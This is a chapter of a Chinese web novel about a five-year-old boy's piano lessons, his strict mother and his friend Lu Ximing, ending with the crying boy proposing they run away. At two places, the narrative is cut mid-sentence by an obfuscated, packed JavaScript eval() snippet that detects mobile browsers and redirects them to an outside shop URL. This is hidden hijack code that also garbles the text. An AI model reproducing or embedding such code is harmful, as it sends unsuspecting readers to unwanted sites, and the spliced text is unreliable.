夫妻俩一合计,转天就带着徐知星去了沈蕙所在的琴行。 徐知星趴在玻璃上,远远就听见了手指触碰琴键发出的声音,期待地说:“妈妈我以后能天天来练琴吗?” “天天?”林芳一合计,一节课两百,一个星期就是一千四,一个月就六千了。不由得咂舌,但也没有直接反驳,而是说:“听老师安排。” 接待徐知星的是一位男老师,大约四十出头,穿着简单的休闲装,模样和蔼。 “你好,我是周宁,你们喊我周老师就好了。”周宁自我介绍的同时看向面前的两个小孩。 “哪个是徐知星小朋友啊?” “我!”徐知星高高地举起手,“这是路西鸣,我的朋友。” “好哦。”周宁示意徐知星坐下,林芳和路西鸣则在旁边。 “周老师,我们要练琴了吗?”徐知星迫不及待地问。 周老师说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13795789|145566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“先不急,老师有几个问题问你。” “好。” “星星今年几岁了?” “五岁半了。”徐知星伸出五个手指。 “那星星知道哪个是左手,哪个是右手吗?” 徐知星沉默地回想起妈妈说的话,拿筷子的是右手,举起右手说:“这个是右手。” “这个是左手。” 周老师点点头,“那星星知道这是几吗?” “三。”徐知星脱口而出。 “反应挺快的嘛。”周老师让徐知星坐在琴凳上,“那星星知道钢琴上有多少个琴键?” 徐知星摇摇头。 周老师给出了答案,“一共八十八个。” “好多啊。” “没错,八十八个琴键会发出不同的声音,等星星以后上课后就会学会区分不同琴键发出的声音了。” 徐知星坐在琴凳上晃了晃腿,眼睛露出期待的光芒。 周老师提醒说:“星星腿不能乱动。” 徐知星顿时收回腿,小声地问:“为什么?” “因为学琴是很认真的事情,到时候星星的腿还要去踩踏板,如果乱动就踩不好踏板了,弹出来的音就不对了。” 徐知星似懂非懂地听着周老师的话,只是他向来好动,琴凳又高,他总是不由自主地晃着两条腿。 “什么是踏板?” “踏板是钢琴的灵魂。有了它,钢琴音乐才有光泽,等以后周老师再带你认识踏板,我们今天第一节课先认识琴键,区分不同的音区。” 徐知星本来在认真听着老师说话,可是腿却不由自主地晃起来了。 “徐知星,不要晃腿!” 周宁收起脸上的笑意,神情严肃,徐知星像个鹌鹑一样缩成一团,腿都不敢张开了。 路西鸣在旁边默默看着徐知星练琴,不发一言。 但是小孩自制力向来薄弱,尤其是徐知星,完全是个小猴,天不怕地不怕。周宁的威慑也只作用了十来分钟,在区分低音区不同音键声音时,徐知星的双腿又不自觉跟着钢琴的声音晃了晃。 周宁弹琴的手放下,路西鸣目光担忧地看向徐知星。 果不其然,徐知星又被说了。 “徐知星,不要乱动。” 一节课下来,不到十分钟周宁就要提醒一次,就连临走前还对林芳说:“我觉得星星还是有点太好动了,可能还是年纪小了,你们在家要注意培养星星集中注意力。不过也不要太操之过急,小孩嘛,爱动也是正常的。况且星星绝对是有天赋的,辨音力非常准,这真的非常少见,不要浪费这种天赋了。” 林芳闻言顿时打定了主意,“老师,你放心我以后一定督促星星,让他提高注意力。” 徐知星被周老师说了很多次不要乱动,一路上闷闷不乐郁郁寡欢,牵着路西鸣手说:“我也不想我的腿动啊,可是他不听话。” “西鸣,你说妈妈会用什么方法不让我乱动啊?” 21.争执(含入v公告) 路西鸣歪着头想了下,“绑起来?” “绑起来就不会乱动了吗?” “绑着你就动不了了。” 林芳正在带他俩过马路,听见对话插嘴道:“还绑起来,总不能绑一辈子吧,星星要自己克制。” 徐知星哭丧着脸,“克制不了。” “为什么克制不了?” “就是克制不了,就像我看见二两鸡腿一样无法克制。”徐知星指了指马路对面的奥尔良烤肉摊。 林芳拍了拍徐知星的头,“吃东西你倒积极。” 这时林芳灵光一现,突然想到一个主意,“星星,你想不想吃鸡腿?” “想!” “那妈妈给你买个鸡腿好不好?” “好啊好啊。”徐知星蹦蹦跳跳地说,“快买快买,我和路西鸣一人一个。” 林芳付了钱,将两个鸡腿拿在手上,徐知星伸长了手,央求说:“妈妈快给我。” 路西鸣也跟着伸出手,期待道:“阿姨。” 林芳伸出食指晃了晃,“要交给你们两个任务。” “你们完成了才可以。” “什么任务?”徐知星不乐道。 林芳在小卖部后门处放了两个相对而坐的小板凳,“西鸣坐这里,星星坐对面。” “我坐好了,快给我鸡腿,妈妈。”徐知星眼睛还盯着鸡腿不放呢。 “还不行。” 林芳把一块电子表递给路西鸣,讲述着规则,“从现在开始十分钟之内,徐知星的腿不动,奖励他吃一口鸡腿。” “那他要是动了呢?”路西鸣问。 林芳:“就不能吃。” 徐知星不干了,嚷嚷道:“我要吃鸡腿!” “那你十分钟之内不许动。” 徐知星嘟着嘴不乐意,“可是我控制不住。” “那你就吃不了鸡腿。” 说完后,林芳摸了摸路西鸣的脑袋,“西鸣监督星星哦。” 徐知星霸道地叉着腰命令路西鸣:“不许监督。” 林芳微微一笑,“要是我发现你们俩偷偷作弊,或者西鸣故意袒护星星,发现他乱动了也不说,你们俩的鸡腿都没了。” “听明白了吗?” “妈妈你好残忍。”徐知星闷闷不乐。 路西鸣附和地点点头,“这叫离间计,叔叔昨天看书告诉我的。” “小兔崽子,你还知道离间计了,这叫美食计。如果半小时内,星星没动,你们俩都可以去吃鸡腿了,晚上还给你们做大虾,不然你俩等着吃竹笋炒肉吧!” 说完林芳去前门招呼顾客了,徐知星正襟危坐地在小板凳说:“西鸣怎么办?” 路西鸣捧着脸,摇摇头,“没有办法,这就是大人,残酷又霸道的大人。” “好吧。”徐知星下意识想要晃腿,被路西鸣连忙按住,“你现在还不能动。” 此刻徐知星动的不是腿,动得是他和路西鸣的鸡腿和大虾,年仅五岁的幼崽第一次感受到任务的紧迫和压力。 “你偷偷动,我不告诉阿姨。”路西鸣小声嘀咕两声。 话音刚落,林芳就咳嗽两声,“星星有没有动?作弊的话两个人都没有鸡腿。” “没有没有,没有动!”徐知星吓得赶紧否认,差点整个人都晃起来了。 林芳这才点点头,“西鸣不许包庇,听见了吗?” “听见了。” 两个人就坐在对面,大眼瞪小眼,徐知星腿不能乱晃,只能盯着路西鸣看,“好无聊啊,西鸣。你讲个故事好不好?” “从前有三只小猪……” “听过啦。” “从前有个小红帽……” “不想听。” “从前……”路西鸣话还没说完,一把按在徐知星腿上,“阿姨在看我们。” “可是我想动。”徐知星越忍越想动,他甚至觉得凳子上长了个钉子。 路西鸣安慰地抱了抱徐知星,“你要不动吧,我们晚上不吃鸡腿和大虾。” “可是你不是爱吃虾吗?”徐知星扣着手指,想到这觉得自己又可以忍一忍了。 “我今天不爱吃了。” “可是我想让你吃,我不动就可以吃了。” “有什么办法可以不动吗?” 路西鸣微微垂下眼,安静几秒后,目光搜寻了一圈说:“我给你放电视看?” “好,我要看动画片。”徐知星点点头。 路西鸣找到遥控器,打开电视,里面正在放一档感情剧,刚打开徐知星就听到一句话。 “我们私奔吧,去一个没有人认识我们的地方。” 徐知星奇怪地问:“什么叫私奔?” “不知道,可能是逃跑。”路西鸣按着遥控器找到少儿频道,但是却按不动,“没电了,我去找阿姨换电池。” “好吧。”徐知星坐在板凳上,指挥地说:“我想看虹猫蓝兔。” “等会就放了。” 徐知星看着动画片,又惦记着路西鸣爱吃的大虾,半个小时很快就过去了,他真的一下都没有动过,当天晚上他和路西鸣都如愿吃到了鸡腿和大虾。 可是冰冻三尺非一日之寒,徐知星不动也非一顿大虾和鸡腿就能解决的事情。 等下次去周老师家练琴时,徐知星又犯了爱动的毛病,弹琴的时候一会手酸,一会脚痛,还时不时屁股痒。 周老师打心眼认为徐知星有天赋,随便在琴键上按一下,他都能分出什么音什么调,平常琴童苦恼的辨音力,对于徐知星来说简直易如反掌,甚至一些曲子弹一遍,徐知星就能复刻个七七八八。 可一堂课下来,徐知星总是安静不到一会,偶尔还要岔开话题,问问周老师中午吃的什么啊,吃饱了么?晚上打算吃什么?要不要去他家吃饭啊,他妈妈做的糖醋排骨可好吃了。 粉雕玉琢的小孩嘴里说些天真可爱的话,任谁看了都很难对他发火,尤其是周宁语气凶一点,徐知星就马上像受到了天大的委屈一眼,脸也不笑了,嘴巴也抿着,头都快垂到琴键上了,像是经历了暴风雨的幼苗,怏怏的可怜样让人看了又心疼。 周老师都无奈了,只好在林芳来接孩子的时候,将这个情况再次汇报给她。 林芳顿时来火了,“我看他就是皮痒了,周老师下次他再不听话,你就揍他。” 周老师赶紧劝说:“怎么能揍孩子啊。” 徐知星听到要揍自己,赶紧躲到周宁身后,他从小没少挨打,此刻赶紧附和着说:“对啊,怎么能揍孩子呢!” 林芳眉头一挑,“你不揍就不听话。” 徐知星又不高兴了。 周老师示意路西鸣带着徐知星出去玩,他单独和林芳说。 路西鸣牵着徐知星的手走出去后,周老师开口道:“小孩注意力不集中也不是一下两下的事情,平常在家也要练琴,慢慢加时间,循序渐进。” “你们家琴看得怎么样?” 这句话伤林芳心了。 这些日子她和徐明军一有空就往琴行跑,只是这琴动辄上万,不是个小数目,他们刚盘下小卖部。而且徐知星还有哮喘,每个月要用钱,之前徐明军大哥借的钱还不还,找他要了几次,都借口没钱。如今欠钱的倒成了大爷。 提到这事,林芳又急又伤心。 周宁语重心长地说:“徐知星是我遇到最有天赋的孩子,但是光有先天的天赋也不够,平日的练习也不能松懈。那句话怎么说,天才都是百分之一的天赋加上百分之九十九的汗水,现在星星的努力,别说百分之九十九了,百分之九都没有。他太皮了。” 林芳掌心交叠,郑重地说:“周老师,星星这孩子就是被我们惯坏了,做事情总是三心二意。这样吧,下次他要是再乱动,你就用竹板打他一下,不然他真的不长记性。” “您要不好意思打,你就记下来,跟我说他一节课动了多少下,我回家了教育他。” 这也不是周宁的教学风格,但是望了望远处玩沙堆,对此一无所知的徐知星,他犹豫地说:“我下节课看看吧。” 路西鸣远远地看着林芳和周宁,倍感担忧地对徐知星道:“星星。” “怎么啦?”徐知星正在用沙子盖房子,脸上洋溢着灿烂的笑容。 “你晚上乖一点。” “我一直都很乖。”徐知星手上都是沙子,毫不在意。 路西鸣见林芳走过来了,赶紧从口袋里拿出手帕给徐知星擦手,“不要玩了,阿姨好像生气了。” “啊。”徐知星手忙脚乱地蹭掉沙子,一句话都不敢说了。 林芳正准备对徐知星发火的,训斥他不许玩沙子。结果刚走到面前,徐知星身上的沙子都被擦干净了,她把教训的话又咽了下去,只是不忘提醒说:“不要玩这些东西,容易犯哮喘知道吗?” “哦,知道了……”徐知星小声地应下。 一直回到小卖部,林芳都冷着脸。 徐知星和路西鸣坐在小卖部门口,大气都不敢出。 林芳瞥了他俩一眼,“你俩没事就去玩吧。” “好。”徐知星赶忙应了声,“妈妈,那我们去前面的学校玩。” “嗯。” 望着两小孩远去的背影,林芳从抽屉里翻着账本,想着从哪里再省点钱买架钢琴。 徐知星坐在滑梯上,一溜烟滑下来,但却没有太多笑容。 “星星,你怎么不开心?”路西鸣紧随而下,也从滑梯上下来。 徐知星坐在旁边的跷跷板,晃了晃腿:“因为妈妈不开心啊。” “西鸣你说妈妈为什么不开心啊?” 路西鸣坐在跷跷板另一端,回忆着林芳阿姨有关的记忆。 “因为买不起琴,你上课爱动,担心你犯哮喘,小卖部生意还没回本,和叔叔吵架,大伯欠钱不还,做饭烧糊,对面商店老板说家里商店东西不好。”路西鸣重复着林芳平时的碎碎念,“每次阿姨说这些事的时候都不高兴。” “那怎么办让妈妈能开心点?妈妈有什么喜欢的东西吗?” 路西鸣沉默几秒,简明扼要地回答:“钱。” “大人都喜欢钱。” “可是我所有的钱都已经给妈妈了。”徐知星兜比脸都还要干净。 “我是穷光蛋。”徐知星伤心地说,“除了这个呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13805851|145566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路西鸣又陷入了回忆,“阿姨喜欢小狗,她上次和复印店老板聊天说,她小时候可喜欢小狗了。” “那我们找一只小狗送给妈妈好不好?”徐知星跳下跷跷板,小跑到路西鸣面前。 “你见到哪里有狗吗?” 路西鸣视线远望,伸出一根手指,“那。” 那是一只白色的土松犬,看上去才几个月大,毛茸茸得像只小熊,三角形状的小耳朵在听到说话声音时微微耸动。 “小狗!”徐知星嘬了两下,小白狗就屁颠屁颠地跑过来了。 徐知星抱起小狗,四处张望了下,“这只狗有主人吗?” “没有我们就把他送给妈妈好不好啊?” 路西鸣找了一圈也没看到人,今天是周六,小学操场都看不到人。 “没看见。” “那我们把他抱回家送给妈妈吧。” 小狗仿佛听懂了徐知星的话,伸出舌头舔了舔他的手。 徐知星乐得只笑,他走一下,小狗也跟着走一下。 “路西鸣你看,小狗跟着我呢。” “是的。” 徐知星很招小动物喜欢,到了小卖部时,徐知星几乎是抱着小狗送到林芳面前,“妈妈你看,小狗。” 见到徐知星怀里抱着小狗,脸上都蹭上了狗毛,说话还不停喘气。林芳顿时火冒三丈,一把从徐知星怀里夺过小狗,眉梢上扬,冷着脸生气道:“你知不知道你哮喘要离这些东西远一点!这些猫啊狗啊的你都不能碰!” 徐知星脸上的笑容顿时僵住,路西鸣紧张地看着徐知星,只见他被吓懵了,小脸煞白,不知所措地站在原地。 “我不知道。”徐知星低头小声回答。 不止徐知星不知道,路西鸣也不知道。 就在林芳骂路西鸣时,一个七八岁的小孩走进来说:“阿姨,你看到我家小狗了吗?” 看见门口的小孩,林芳脚边的小狗立刻汪了两声。 小孩抱起小狗,指着徐知星,向林芳告状,“阿姨,你们不许偷我家小狗!” “我没有。”徐知星着急地反驳。 林芳本就因为家里的琐事头疼,如今徐知星又闹出这种事,简直一下气得头晕,顺手抓住他的胳膊,在他身上重重拍了两下,“你能不能让我省点心,我跟你说过多少次,不许随便拿别人的东西。” 徐知星眼泪一下就下来了,带着哭腔大声道:“我没有,是没人我才把小狗带回来的。” 路西鸣在旁边连忙作证,伸手着急地想要护住徐知星,“是小狗跟我们走的,没有人在,是我先看见小狗的,不怪星星。” “那不就是小偷。”小孩愤愤道。 “我不是小偷!”徐知星眼泪布满了整张脸,看着可怜又无助,路西鸣不知道如何是好,只能抱住徐知星替他擦泪水。重复说:“星星不是小偷。” 林芳看见面前的两个小孩,别开眼道:“西鸣把星星带回去。” 路西鸣连忙牵着徐知星离开小卖部。 一路上徐知星的眼泪根本止不住,嘴上不断地重复:“我不是小偷。” 路西鸣停下来从口袋里拿出手帕给他擦眼泪,“我知道你不是,你哭一会就不哭了好不好,你哭久了会犯哮喘。” “可是我忍不住,我好难受。”徐知星撇着嘴,眼泪就像拧开的水龙头一直往下掉。 路西鸣急得不知道该怎么办,从兜里摸出一颗大白兔奶糖,“星星,你不要哭了,你吃颗糖。” 徐知星红通通地眼睛盯着奶糖,手背擦去眼角的泪水,稍微止住泪水,哽咽道:“好。” “你喂我。” 路西鸣撕开包装纸,将奶糖喂到徐知星嘴里,用手帕擦了擦他哭得泛红的脸蛋,“你吃糖,不要哭。” “可是我难受。”徐知星含着奶糖,嘴角一撇又要哭出来。 “你要是哭了,我就把大白兔扣出来,不给你吃。” 徐知星伸手推了推路西鸣,不高兴地说:“你怎么能这样?你是坏蛋。” “那你不要哭,我把大白兔都给你。” “你还有吗?”徐知星看向路西鸣的口袋。 路西鸣从兜里又摸了一个,“还有一个,你不哭了,我再给你好不好?” 徐知星撇撇嘴,霸道地说:“我哭你也要给我。” “为什么?” “你不给我,我就不和你玩了!” “那你这是耍赖皮。” “我就是耍赖皮!”徐知星叉着腰,扬起下巴,理不直气也壮。 尽管如此,但因为被路西鸣转移了注意力,徐知星的哭声也渐渐消失。 “那你耍吧,我都给你。”路西鸣牵起徐知星的手,两个小孩的手掌紧紧握在一起,中间裹着那颗剩下的大白兔奶糖。 可是离家越来越近,徐知星又想起刚才的事情,不免变得愁眉苦脸,脚步也变得越来越沉重,到最后几乎是路西鸣拉着他在往前走。 “星星,你走不动了吗?” 徐知星摇摇头,“我不想回去。” “那你想去哪?” 徐知星歪着脑袋想了半天后说:“我们私奔吧。”